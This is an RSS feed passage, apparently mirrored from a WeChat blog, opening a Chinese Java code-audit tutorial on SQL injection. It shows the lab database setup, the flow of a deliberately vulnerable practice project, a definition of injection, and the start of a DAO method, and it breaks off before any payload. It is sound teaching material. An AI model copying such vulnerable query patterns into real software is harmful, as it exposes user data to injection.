Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h1 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 25px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">参考</h1><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://www.iteye.com/blog/jinnianshilongnian-1413846" target="_blank">https://www.iteye.com/blog/jinnianshilongnian-1413846</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://blog.csdn.net/carson0408/article/details/79019400" target="_blank">https://blog.csdn.net/carson0408/article/details/79019400</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://baijiahao.baidu.com/s?id=1612405553596190826&amp;wfr=spider&amp;for=pc" target="_blank">https://baijiahao.baidu.com/s?id=1612405553596190826&amp;wfr=spider&amp;for=pc</a></p><p><br/></p>



<p><a href="https://www.cnpanda.net/program/583.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=da100b98&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483717%26idx%3D1%26sn%3D998745867ccc6b7763f47829911eff33%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 04 May 2021 00:00:00 +0800</pubDate>
    </item>
    <item>
      <title>【Java 代码审计入门-02】SQL 漏洞原理与实际案例介绍</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483716&amp;idx=1&amp;sn=85e9ed2f28c624e4e75d2c978acc4846</link>
      <description>Java代码审计入门系列文章——SQL 漏洞原理与实际案例介绍</description>
      <content:encoded><![CDATA[<p>
原创 <span>panda</span> <span>2021-05-03 16:32</span> <span style="display: inline-block;"></span>
</p>

<p>Java代码审计入门系列文章——SQL 漏洞原理与实际案例介绍</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=23e69027&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkPFbels0uFZ9ht5ul9DcnQOpibSS3EHaF8siaWictMzasLBYUWBQ92bQIw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x00 写在前面</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">为什么会有这一些列的文章呢？因为我发现网上没有成系列的文章或者教程，基本上是 Java 代码审计中某个点来阐述的，对于新人来说可能不是那么友好，加上本人也在学习 Java 审计，想做个学习历程的记录和总结，因此有了本系列的文章。<br style="box-sizing: border-box;"/>本系列的文章面向人群主要是<strong style="box-sizing: border-box;color: rgb(0, 0, 0);">拥有 Java 基本语法基础的朋友</strong>，系列文章的内容主要包括，审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS 漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE 漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic 系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等，可能内容顺序会略有调整，但是总体内容不会改变，最后希望这系列的文章能够给你带来一点收获。</p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x01 前戏</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">首先创建一个数据库<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">sec_sql</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">create database sec_sql charset utf8;</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后创建表<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">admin</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">userinfo</code>和插入数据：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">DROP</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">TABLE</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">IF</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">EXISTS</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`admin`</span>;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">CREATE</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">TABLE</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`admin`</span> (<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`uid`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">int</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">11</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NOT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span> AUTO_INCREMENT <span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMENT</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;uid&#39;</span>,<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`username`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">varchar</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">100</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NOT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMENT</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;账号&#39;</span>,<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`password`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">varchar</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">100</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NOT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMENT</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;密码&#39;</span>,<br/>  PRIMARY <span style="box-sizing: border-box;color: rgb(204, 153, 204);">KEY</span> (<span style="box-sizing: border-box;color: rgb(138, 190, 183);">`uid`</span>)<br/>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">ENGINE</span>=<span style="box-sizing: border-box;color: rgb(204, 153, 204);">InnoDB</span> AUTO_INCREMENT=<span style="box-sizing: border-box;color: rgb(249, 145, 87);">2</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">DEFAULT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">CHARSET</span>=utf8;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">BEGIN</span>;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`admin`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;admin&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;7a57a5a743894a0e&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMIT</span>;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">DROP</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">TABLE</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">IF</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">EXISTS</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`userinfo`</span>;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">CREATE</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">TABLE</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`userinfo`</span> (<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`id`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">int</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">11</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NOT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span> AUTO_INCREMENT <span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMENT</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;id&#39;</span>,<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`name`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">varchar</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">100</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NOT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMENT</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;名称&#39;</span>,<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`age`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">int</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">11</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NOT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMENT</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;年龄&#39;</span>,<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`content`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">varchar</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">100</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NOT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMENT</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;联系方式&#39;</span>,<br/>  <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`address`</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">varchar</span>(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">255</span>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NOT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">NULL</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMENT</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;家庭地址&#39;</span>,<br/>  PRIMARY <span style="box-sizing: border-box;color: rgb(204, 153, 204);">KEY</span> (<span style="box-sizing: border-box;color: rgb(138, 190, 183);">`id`</span>)<br/>) <span style="box-sizing: border-box;color: rgb(204, 153, 204);">ENGINE</span>=<span style="box-sizing: border-box;color: rgb(204, 153, 204);">InnoDB</span> AUTO_INCREMENT=<span style="box-sizing: border-box;color: rgb(249, 145, 87);">7</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">DEFAULT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">CHARSET</span>=utf8;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">BEGIN</span>;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`userinfo`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;panda&#39;</span>, <span style="box-sizing: border-box;color: rgb(249, 145, 87);">22</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;panda@cnpanda.net&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;中国&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`userinfo`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">2</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;John&#39;</span>, <span style="box-sizing: border-box;color: rgb(249, 145, 87);">29</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;test@cnpanda.net&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;英国&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`userinfo`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">3</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;Tom&#39;</span>, <span style="box-sizing: border-box;color: rgb(249, 145, 87);">45</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;hello@cnpanda.net&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;美国&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`userinfo`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">4</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;Mr.Li&#39;</span>, <span style="box-sizing: border-box;color: rgb(249, 145, 87);">33</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;li@cnpanda.net&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;韩国&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`userinfo`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">5</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;Miss&#39;</span>, <span style="box-sizing: border-box;color: rgb(249, 145, 87);">32</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;miss@cnpanda.net&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;法国&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">INSERT</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">INTO</span> <span style="box-sizing: border-box;color: rgb(138, 190, 183);">`userinfo`</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">VALUES</span> (<span style="box-sizing: border-box;color: rgb(249, 145, 87);">6</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;Ling&#39;</span>, <span style="box-sizing: border-box;color: rgb(249, 145, 87);">17</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;ling@cnpanda.net&#39;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#39;中国&#39;</span>);<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">COMMIT</span>;<br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">SET</span> FOREIGN_KEY_CHECKS = <span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>;</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">下载 sql 测试源码</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/cn-panda/JavaCodeAudit" target="_blank">https://github.com/cn-panda/JavaCodeAudit</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">导入项目，可以得到以下目录</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.8314176245210727" data-s="300,640" style="" data-type="png" data-w="522" src="https://wechat2rss.xlab.app/img-proxy/?k=24f4c74f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkkDEoZlmWfnvoDEvhctbicoEekBBIUNjzIcUibev0ZXxZReWjcNXq7Kow%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">修改连接数据库的账号密码：</p><p><img class="rich_pages" data-ratio="0.43790849673202614" data-s="300,640" style="" data-type="png" data-w="612" src="https://wechat2rss.xlab.app/img-proxy/?k=5a2d6b6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkaPdBxrOMtz4fCBFEeaW6bfcrgfYiaz9FPl8o3vFJwZ6ZeQicjDf6QXiaQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages" data-ratio="0.08082706766917293" data-s="300,640" style="" data-type="png" data-w="2128" src="https://wechat2rss.xlab.app/img-proxy/?k=5f8df8f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkRM3Sa8HnMNTBWB2rWosf0FktKkWSG3CufAiaHZOQ7SGZ2NkPribW9kkA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><br/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">项目是一个简单的查询用户信息的实现，在 servlet 层接受到请求后，调<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">UserInfoServiceImpl</code>，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">UserInfoServiceImpl</code>在调用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">UserInfoDaoImpl</code>，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">UserInfoDaoImpl</code>去操作数据库，然后封装 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">UserInfo</code> 对象，再把<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">UserInfo</code> 对象返回给<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">UserInfoService</code>，最后 service 层再返回给 servlet 层，最终把查询的内容显示到<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">info.jsp</code>页面。</p><p><span name="menu_index_4" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x02 漏洞原理</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">所谓 SQL 注入，就是通过将 SQL 命令插入应用程序的 http 请求中，并在服务器端被接收后用于参与数据库操作，最终达到欺骗服务器执行恶意的 SQL 命令的效果，Java 的 SQL 注入和 PHP 中的 SQL 注入，其实差别不大，理论上来讲，应用程序中只要是与数据库存在数据交互，无论是增删改查，只要传入的数据完全受用户控制，且应用程序对用户传入的数据没有进行妥当的处理，那么这些地方都是可能存在 SQL 注入的。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">拿上述的代码举例，在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">UserInfoDaoImpl.java</code>中，存在如下代码：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> UserInfo <span style="box-sizing: border-box;color: rgb(181, 189, 104);">UserInfoFoundDao</span><span style="box-sizing: border-box;">(String id)</span></span>{<br/>            Connection conn = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            PreparedStatement ps = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            ResultSet rs = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            UserInfo userinfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span>{<br/>                Class.forName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.mysql.cj.jdbc.Driver&#34;</span>);<br/>                conn = DriverManager.getConnection(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;jdbc:mysql://localhost:3306/sec_sql&#34;</span>,<span style="box-sizing: border-box;color: rgb(138, 190, 